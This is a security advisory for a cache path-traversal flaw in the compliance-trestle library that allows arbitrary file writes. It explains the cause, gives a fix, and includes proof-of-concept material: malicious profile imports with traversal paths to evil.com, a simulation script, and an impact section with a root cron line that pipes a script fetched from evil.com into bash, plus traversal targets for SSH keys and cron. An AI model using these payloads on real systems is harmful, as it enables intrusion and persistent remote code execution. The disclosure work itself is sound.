GHSA-g3vg-vx23-3858

## Summary

The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem.

**Attack chain:** Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)

## Affected Component

**Repository:** https://github.com/IBM/compliance-trestle **File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) **Version:** v4.0.2 (latest as of 2026-04-30) ## Vulnerable Code

### cache.py:259-266 — HTTPSFetcher cache path construction

```python class HTTPSFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) # ... if u.hostname is None: raise TrestleError(f'Cache request for {self._uri} requires hostname') https_cached_dir = self._trestle_cache_path / u.hostname # ❌ path_parent preserves ../ sequences from URL path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name) ```

### cache.py:285-295 — Content written to traversed path

```python def _do_fetch(self) -> None: # ... response = requests.get(self._url, auth=auth, verify=verify, timeout=30) if response.status_code == 200: result = response.text # ❌ Attacker-controlled content self._cached_object_path.write_text(result) # ❌ Written to arbitrary path ```

### cache.py:328-333 — SFTPFetcher (identical pattern)

```python class SFTPFetcher(FetcherBase): def __init__(self, ...): # Identical path construction — same vulnerability sftp_cached_dir = self._trestle_cache_path / u.hostname path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent sftp_cached_dir = sftp_cached_dir / path_parent sftp_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name) ```

**Root Cause:** 1. `urlparse("https://evil.com/../../../tmp/pwned.json").path` = `/../../../tmp/pwned.json` — preserves `../` 2. `pathlib.Path(u.path).parent` preserves traversal sequences 3. `cache_dir / hostname / "../../../../../../tmp"` resolves outside cache 4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories 5. `write_text(response.text)` writes attacker-controlled content to traversed path 6. **No `is_relative_to()` boundary check** on the resolved path

## Steps to Reproduce

### Prerequisites

```bash pip install compliance-trestle==4.0.2 ```

### PoC: Malicious OSCAL Profile

```yaml # malicious_profile.yaml — arbitrary file write via cache traversal profile: uuid: "550e8400-e29b-41d4-a716-446655440000" metadata: title: "Malicious Profile" version: "1.0" last-modified: "2024-01-01T00:00:00+00:00" oscal-version: "1.0.4" imports: - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json" ```

### PoC: Cache Path Traversal Simulation

```python #!/usr/bin/env python3 """PoC: Cache path traversal → arbitrary file write""" import os, re, tempfile, shutil from pathlib import Path from urllib.parse import urlparse

# Simulate trestle cache behavior (cache.py:259-266) trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_")) cache_dir = trestle_root / ".trestle" / ".cache" cache_dir.mkdir(parents=True, exist_ok=True)

evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json" u = urlparse(evil_url)

# Exact trestle code path cached_dir = cache_dir / u.hostname m = re.search(r'[^/\\\\]', u.path) path_parent = Path(u.path[m.span()[0]:]).parent cached_dir = cached_dir / path_parent cached_dir.mkdir(parents=True, exist_ok=True) cached_file = cached_dir / Path(Path(u.path).name)

print(f"Cache dir: {cache_dir}") print(f"Resolved write target: {cached_file.resolve()}") # Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!

# Write attacker content attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"' cached_file.write_text(attacker_payload) print(f"Written: {cached_file.resolve().read_text()}")

# Cleanup os.remove(str(cached_file.resolve())) shutil.rmtree(str(trestle_root)) ```

**Expected:** Write confined to `.trestle/.cache/` directory **Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location)

## Remediation

### Fix for HTTPSFetcher (cache.py:259-266):

```python class HTTPSFetcher(FetcherBase): def __init__(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) https_cached_dir = self._trestle_cache_path / u.hostname

# ✅ Sanitize path: remove traversal sequences safe_path = pathlib.PurePosixPath(u.path).parts safe_path = [p for p in safe_path if p != '..' and p != '/'] path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')

https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = https_cached_dir / safe_path[-1]

# ✅ Boundary check if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()): raise TrestleError( f"Cache path traversal blocked: URL '{uri}' resolves to " f"'{self._cached_object_path.resolve()}' outside cache directory" ) ```

Same fix required for SFTPFetcher at lines 328-333.

## References

- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html - **CWE-73:** https://cwe.mitre.org/data/definitions/73.html - **compliance-trestle:** https://github.com/IBM/compliance-trestle

## Impact

### 1. Cron Job Injection → Remote Code Execution

```yaml # Profile that writes a cron job imports: - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor" ```

Attacker's server responds with: ``` * * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash' ```

### 2. SSH Authorized Keys Injection

```yaml imports: - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys" ```

Attacker's server responds with their SSH public key.

### 3. Config File Overwrite

```yaml imports: - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf" ```

### 4. Python Path Hijacking

Write malicious `.py` file to a location on `sys.path` for code execution on next import.